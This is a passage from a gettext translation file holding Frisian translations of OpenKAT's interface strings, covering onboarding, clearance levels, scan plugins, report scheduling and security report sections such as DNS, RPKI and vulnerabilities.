onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The user clearance level specifies the maximum scan level for security scans \"\n\"and the maximum clearance level you can assign to objects (e.g. a URL).\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The administrator assigns a maximum user clearance level to each user. This \"\n\"will make sure that only trusted users can start more aggressive scans.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"A user must accept a clearance level, before they perform actions in \"\n\"OpenKAT. Here you may accept the maximum trusted clearance level, as \"\n\"assigned by your administrator. On your user settings page you can choose to \"\n\"lower your accepted clearance level after completing the onboarding.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"What is my clearance level?\"\nmsgstr \"Wat is myn frijwarringsnivo?\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Unfortunately you cannot continue the onboarding. </br> Your administrator \"\n\"has trusted you with a clearance level of <strong>L%(tcl)s</strong>. </br> \"\n\"You need at least a clearance level of \"\n\"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n\"<strong>%(ooi)s</strong> </br> Contact your administrator to receive a \"\n\"higher clearance.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: onboarding/templates/step_6_set_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\n#: onboarding/templates/step_9_choose_report_type.html\n#: rocky/templates/partials/form/boefje_tiles_form.html\nmsgid \"Skip onboarding\"\nmsgstr \"Onboarding oerslaan\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has trusted you with a clearance level of \"\n\"<strong>L%(tcl)s</strong>. </br> You must first accept this clearance level \"\n\"to continue.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has <strong>trusted</strong> you with a clearance level \"\n\"of <strong>L%(tcl)s</strong>.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Add an object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"OpenKAT uses various kinds of objects, like IP addresses, hostnames and \"\n\"URLs. In the onboarding we will add an URL object, such as our vulnerable \"\n\"OpenKAT website: https://mispo.es.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Related objects\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"Most objects have dependencies on the existence of related objects. For \"\n\"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n\"qualified domain name) and IP address. When possible OpenKAT automatically \"\n\"collects and adds these related objects by running scans. Objects can also \"\n\"be manually added.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Create object\"\nmsgstr \"Objekt oanmeitsje\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set object clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"\"\n\"After creating a new object you can set a clearance level for this object. A \"\n\"clearance level determines how aggressive the object can be scanned. A \"\n\"higher clearance level, means that more aggressive scans are allowed. \"\n\"Clearance levels can always be adjusted later on.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\n#, python-format\nmsgid \"\"\n\"For the onboarding we use a clearance level of \"\n\"L%(dns_report_least_clearance_level)s, meaning only informational scans are \"\n\"allowed.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set clearance level\"\nmsgstr \"Frijwarringsnivo ynstelle\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Plugin introduction\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan your objects. Each plugin has a scan level to \"\n\"specify how aggressive the scan is. Plugins can only scan those objects with \"\n\"a clearance level that is equal to, or higher than the scan level of the \"\n\"plugin. Plugin scan level are indicated by the number of cat paws.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>DNS Zone</strong> has a scan level of 1, meaning that it \"\n\"performs non-intrusive scans which look for publicly available information. \"\n\"It scans objects with a clearance level of 1 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>Fierce</strong> has a scan level of 3, meaning that it \"\n\"more aggressive and could potentially break things. It scans objects with a \"\n\"clearance level of 3 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enabling plugins and start scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan, check and analyze. There are three types of \"\n\"plugins.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The first plugin are <b>Boefjes</b>, which scan objects for data. These are \"\n\"security tools like nmap, LeakIX and WPscan. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The other two plugins are <b>Normalizers</b> and <b>Bits</b>, which are used \"\n\"to process the output of Boefjes. They can create findings and related \"\n\"objects. Bits are also used to create organization specific findings, based \"\n\"on policy requirements. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"For the onboarding we will enable the Boefjes shown below. Once enabled \"\n\"these Boefjes gather publicly available information on suitable objects with \"\n\"a clearance level of 1 or higher. Normalizers and Bits are enabled by \"\n\"default.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enable and continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate a report\"\nmsgstr \"Generearje in rapport\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"Reports can be used to gain more insights in your organizations assets. You \"\n\"can generate different types of reports in OpenKAT. Each report may require \"\n\"one or more plugins that provide the input for the report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"For the onboarding we will generate a DNS report for your added URL. In the \"\n\"previous step you enabled the required plugins for this report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate DNS Report\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"1: Welcome\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"2: Organization setup\"\nmsgstr \"2: Organisaasjes\"\n\n#: onboarding/view_helpers.py\nmsgid \"3: Add object\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"4: Plugins\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"5: Generating report\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully created.\"\nmsgstr \"{org_name} mei sukses oanmakke.\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully updated.\"\nmsgstr \"{org_name} mei sukses bywurke.\"\n\n#: onboarding/views.py\nmsgid \"Creating an object\"\nmsgstr \"Objekten oanmeitsje\"\n\n#: onboarding/views.py\nmsgid \"Fetch the parent DNS zone of a hostname\"\nmsgstr \"Untfang de boppelizzende DNS-soane of hostnamme\"\n\n#: onboarding/views.py\nmsgid \"Finds subdomains by brute force\"\nmsgstr \"Fynt subdomeinen troch ‘brute force’\"\n\n#: onboarding/views.py\nmsgid \"Please select a plugin to proceed.\"\nmsgstr \"Selektearje in ynstekker om troch te gean.\"\n\n#: onboarding/views.py\nmsgid \"Please select all required plugins to proceed.\"\nmsgstr \"Selektearje alle nedige ynstekkers om troch te gean.\"\n\n#: onboarding/views.py reports/views/aggregate_report.py\n#: reports/views/generate_report.py\nmsgid \"An error occurred while enabling {}. The plugin is not available.\"\nmsgstr \"\"\n\"Der is in flater bard by it ynskeakeljen fan {}. De ynstekker is net \"\n\"beskikber.\"\n\n#: onboarding/views.py\nmsgid \"Plugins successfully enabled.\"\nmsgstr \"Ynstekkers mei sukses ynskeakele.\"\n\n#: onboarding/views.py\nmsgid \"Web URL not found.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"\"\n\"Your report is scheduled for generation in about 3 minutes, as we are \"\n\"waiting for Boefjes to complete. In the meantime get familiar with OpenKAT \"\n\"and visit the Reports History tab later.\"\nmsgstr \"\"\n\n#: reports/forms.py tools/forms/ooi_form.py\nmsgid \"Filter by OOI types\"\nmsgstr \"Filterje op OOI-typen\"\n\n#: reports/forms.py\nmsgid \"Today\"\nmsgstr \"Hjoed\"\n\n#: reports/forms.py\nmsgid \"Different date\"\nmsgstr \"Oare datum\"\n\n#: reports/forms.py\nmsgid \"No, just once\"\nmsgstr \"Nee, mar ien kear\"\n\n#: reports/forms.py\nmsgid \"Yes, repeat\"\nmsgstr \"Ja, werhelje\"\n\n#: reports/forms.py\nmsgid \"Start date\"\nmsgstr \"Startdatum\"\n\n#: reports/forms.py\nmsgid \"Start time (UTC)\"\nmsgstr \"Starttiid (UTC)\"\n\n#: reports/forms.py\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recurrence\"\nmsgstr \"Werhelling\"\n\n#: reports/forms.py\nmsgid \"No recurrence, just once\"\nmsgstr \"Gjin werhelling, mar ien kear\"\n\n#: reports/forms.py\nmsgid \"Daily\"\nmsgstr \"Deistich\"\n\n#: reports/forms.py\nmsgid \"Weekly\"\nmsgstr \"Wykliks\"\n\n#: reports/forms.py\nmsgid \"Monthly\"\nmsgstr \"Moanliks\"\n\n#: reports/forms.py\nmsgid \"Yearly\"\nmsgstr \"Jierliks\"\n\n#: reports/forms.py\nmsgid \"day\"\nmsgstr \"dei\"\n\n#: reports/forms.py\nmsgid \"week\"\nmsgstr \"wike\"\n\n#: reports/forms.py\nmsgid \"month\"\nmsgstr \"moanne\"\n\n#: reports/forms.py\nmsgid \"year\"\nmsgstr \"jier\"\n\n#: reports/forms.py\nmsgid \"Never\"\nmsgstr \"Nea\"\n\n#: reports/forms.py\nmsgid \"On\"\nmsgstr \"Op\"\n\n#: reports/forms.py\nmsgid \"After\"\nmsgstr \"Nei\"\n\n#: reports/forms.py\nmsgid \"Report name format\"\nmsgstr \"Rapportnammeformaat\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/multi_organization_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Appendix\"\nmsgstr \"Appendiks\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Currently filtered on\"\nmsgstr \"No filtere op\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected Report Types\"\nmsgstr \"Selektearre rapporttypen\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Selected report types\"\nmsgstr \"Selektearre rapporttypen\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Report type\"\nmsgstr \"Rapporttype\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Service Versions and Health\"\nmsgstr \"Serviceferzjes en sûnens\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Service, version and health\"\nmsgstr \"Service, ferzje en sûnens\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/footer.html\n#: rocky/templates/health.html\nmsgid \"Service\"\nmsgstr \"Tsjinst\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/health.html\nmsgid \"Version\"\nmsgstr \"Ferzje\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/footer.html rocky/views/health.py\nmsgid \"Health\"\nmsgstr \"Sûnens\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/health.html\nmsgid \"Healthy\"\nmsgstr \"Sûn\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Unhealthy\"\nmsgstr \"Net sûn\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used Config objects\"\nmsgstr \"Brûkte konfiguraasjeobjekten\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used config objects\"\nmsgstr \"Brûkte konfiguraasjeobjekten\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Primary Key\"\nmsgstr \"Primêre kaai\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Bit ID\"\nmsgstr \"Bit-ID\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Config\"\nmsgstr \"Konfiguraasje\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"No config objects found.\"\nmsgstr \"Gjin konfiguraasjeobjekten fûn.\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Asset overview\"\nmsgstr \"Assetoersjoch\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"\"\n\"An overview of the manually released scanned assets. Assets in <strong>bold</\"\n\"strong> are taken as a starting point, assets that are not in bold were \"\n\"found by OpenKAT itself.\"\nmsgstr \"\"\n\"In oersjoch fan de hânmjittich frijwarre scande assets. <strong>Fet drukte</\"\n\"strong> assets binne as startpunt nommen, net fet drukte assets binne troch \"\n\"OpenKAT sels fûn.\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"Overview of the basic security status\"\nmsgstr \"Oersjoch fan de basisbefeiligingsstatus\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"\"\n\"This table provides an overview of the basic security status of the known \"\n\"assets. Basic security in order. In principle, all values in this table \"\n\"should be checked off.\"\nmsgstr \"\"\n\"Dizze tabel jout in oersjoch fan de basisbefeiligingsstatus fan de bekende \"\n\"assets. Basisbefeiliging op oarde. Yn prinsipe soene alle wearden yn dizze \"\n\"tabel ôffinkt wêze moatte.\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"Basic security status\"\nmsgstr \"Basisbefeiligingsstatus\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/multi_organization_report/ipv6.html\n#: reports/report_types/systems_report/report.html\nmsgid \"System type\"\nmsgstr \"Systeemtype\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Safe connections\"\nmsgstr \"Feilige ferbiningen\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"System Specific\"\nmsgstr \"Systeemspesifyk\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"RPKI\"\nmsgstr \"RPKI\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"server\"\nmsgstr \"server\"\n\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"This chapter contains information about the findings that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Recommendations\"\nmsgstr \"Oanrekommandaasjes\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"There is <i>%(total_findings)s</i> vulnerability\"\nmsgid_plural \"There are <i>%(total_findings)s</i> vulnerabilities\"\nmsgstr[0] \"Der is <i>%(total_findings)s</i> kwetsberheid\"\nmsgstr[1] \"Der binne <i>%(total_findings)s</i> kwetsberheden\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"found on <i>%(total_systems)s</i> system.\"\nmsgid_plural \"found on <i>%(total_systems)s</i> systems.\"\nmsgstr[0] \"fûn op <i>%(total_systems)s</i> systeem.\"\nmsgstr[1] \"fûn op <i>%(total_systems)s</i> systemen.\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"There are no recommendations.\"\nmsgstr \"Der binne gjin oanrekommandaasjes.\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Basic security\"\nmsgstr \"Basisbefeiliging\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"In this chapter, first a table of compliance checks is displayed, followed \"\n\"by a detailed examination of compliance issues for each component.\"\nmsgstr \"\"\n\"Yn dit haadstik wurdt earst in tabel mei compliancekontrôlen toand en dernei \"\n\"wurde per ûnderdiel de complianceproblemen taljochte.\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"System specific\"\nmsgstr \"Systeemspesifyk\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Resource Public Key Infrastructure\"\nmsgstr \"Resource Public Key Infrastructure\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Vulnerabilities\"\nmsgstr \"Kwetsberheden\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\nmsgid \"Vulnerabilities found are grouped per system.\"\nmsgstr \"Fûne kwetsberheden binne per systeem groepearre.\"\n\n#: reports/report_types/aggregate_organisation_report/report.py\nmsgid \"Aggregate Organisation Report\"\nmsgstr \"Organisaasjerapport gearstalle\"\n\n#: reports/report_types/aggregate_organisation_report/rpki.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This section contains basic security information about resource public key \"\n\"infrastructure. If your web server employs RPKI for its IP addresses and \"\n\"associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/safe_connections.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"In this chapter we check if the connections of all the IP ports of the \"\n\"system are safe. Safe connections are important to prevent unauthorised \"\n\"access and data breaches. Strong ciphers are crucial because they ensure \"\n\"strong encryption which protects the data from interception during \"\n\"communiction.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\n#: reports/report_types/multi_organization_report/summary.html\n#: rocky/views/ooi_tree.py\nmsgid \"Summary\"\nmsgstr \"Gearfetting\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Critical Vulnerabilities\"\nmsgstr \"Krityske kwetsberheden\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"IPs scanned\"\nmsgstr \"Scande IP-adressen\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Hostnames scanned\"\nmsgstr \"Scande hostnammen\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Terms in report\"\nmsgstr \"Termen yn rapport\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#, python-format\nmsgid \"\"\n\"This table shows which checks were performed. Following that, the compliance \"\n\"issues, if any, are shown for each %(type)s Server.\"\nmsgstr \"\"\n\"Dizze tabel lit sjen hokker kontrôles útfierd binne. Dêrnei wurde foar elke \"\n\"%(type)s-server de eventuele complianceproblemen werjûn.\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\nmsgid \"Check overview\"\nmsgstr \"Kontrôleoersjoch\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Check\"\nmsgstr \"Kontrôle\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance\"\nmsgstr \"Compliance\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\nmsgid \"IPs are compliant\"\nmsgstr \"IP’s binne compliant\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Host:\"\nmsgstr \"Host:\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance issue\"\nmsgstr \"Complianceprobleem\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Risk level\"\nmsgstr \"Risikonivo\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This is where checks are done that are specific to system types. Different \"\n\"security and compliance issues come into play for different systems. They \"\n\"are listed here under each other.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Term Overview\"\nmsgstr \"Begripslist\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"For definitions of terms used in this chapter, see the glossary below.\"\nmsgstr \"\"\n\"Understeand oersjoch befettet definysjes fan begripen dy’t yn dizze \"\n\"rapportaazje brûkt wurde.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Web servers and domains are examples of digital assets within this \"\n\"framework. Web servers are essential for hosting and serving websites or web \"\n\"applications, while domains represent the online addresses used to access \"\n\"these resources. Other examples of assets in the IT realm include databases, \"\n\"user accounts, software applications, and networking infrastructure. Asset \"\n\"management is a critical aspect of cybersecurity, involving the \"\n\"identification, classification, and protection of these assets to safeguard \"\n\"against threats and ensure the overall security and functionality of an \"\n\"organization's IT environment.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Multiple hostnames that resolve to one IP address where at least one of the \"\n\"hostnames or the IP address has a declared scan level that is at least L1. \"\n\"Type systems are web servers, mail servers and name servers (DNS).\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A fundamental component of the client-server model. A web server uses \"\n\"protocols like HTTP or HTTPS to facilitate communication between clients and \"\n\"the server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A mail server is a specialized software application or hardware device that \"\n\"facilitates the sending, receiving, and storage of emails within a computer \"\n\"network. Operating on the Simple Mail Transfer Protocol (SMTP) for outgoing \"\n\"messages and either Internet Message Access Protocol (IMAP) or Post Office \"\n\"Protocol (POP) for incoming messages, a mail server manages email \"\n\"communication by routing messages between users and storing them until they \"\n\"are retrieved. The server ensures the efficient and secure transfer of \"\n\"emails, handling tasks such as authentication, spam filtering, and message \"\n\"storage.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A nameserver, or Domain Name System (DNS) server, is a critical component of \"\n\"the internet infrastructure responsible for translating human-readable \"\n\"domain names into IP addresses, enabling the seamless navigation of the web. \"\n\"When a user enters a domain name in a web browser, the nameserver is queried \"\n\"to obtain the corresponding IP address of the server hosting the associated \"\n\"website or service.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A DICOM server, which stands for Digital Imaging and Communications in \"\n\"Medicine, is a specialized server designed for the storage, retrieval, and \"\n\"exchange of medical images and related information in the healthcare \"\n\"industry. DICOM is a widely adopted standard that ensures interoperability \"\n\"and consistency in the communication of medical images and associated data \"\n\"among different devices and systems, such as medical imaging equipment, \"\n\"picture archiving and communication systems (PACS), and radiology \"\n\"information systems (RIS). DICOM servers store and manage patient-specific \"\n\"medical images, like X-rays, CT scans, and MRIs, utilizing a standardized \"\n\"format.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"No CVEs have been found.\"\nmsgstr \"Der binne gjin CVE’s fûn.\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Records found\"\nmsgstr \"Fûne records\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The DNS report gives an overview of the DNS records that were found for the \"\n\"DNSZone. Additionally the security measures table shows whether or not DNS \"\n\"relating security measures are enabled.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"<strong>Disclaimer:</strong> Not all DNSRecords are parsed in OpenKAT. DNS \"\n\"record types that are parsed and could be displayed in the table are:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"All existing DNS record types can be found here:\"\nmsgstr \"Alle besteande DNS-recordtypen kinne hjir fûn wurde:\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Record\"\nmsgstr \"Record\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"TTL\"\nmsgstr \"TTL\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Data\"\nmsgstr \"Gegevens\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No records have been found.\"\nmsgstr \"Der binne gjin records fûn.\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Security measures\"\nmsgstr \"Befeiligingsmaatregelen\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The security measures table below shows which DNS relating security measures \"\n\"are enabled based on the contents of the DNS records.\"\nmsgstr \"\"\n\"De folgjende befeiligingstabel toant oan hokker DNS-relatearre \"\n\"feilichheidsmaatregelen aktivearre binne neffens de ynhâld fan de DNS-\"\n\"gegevens.\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/partials/ooi_detail_related_object.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Type\"\nmsgstr \"Type\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Yes\"\nmsgstr \"Ja\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No\"\nmsgstr \"Nee\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Other findings found\"\nmsgstr \"Oare befiningen fûn\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Findings information\"\nmsgstr \"Befiningenynformaasje\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"DNS Report\"\nmsgstr 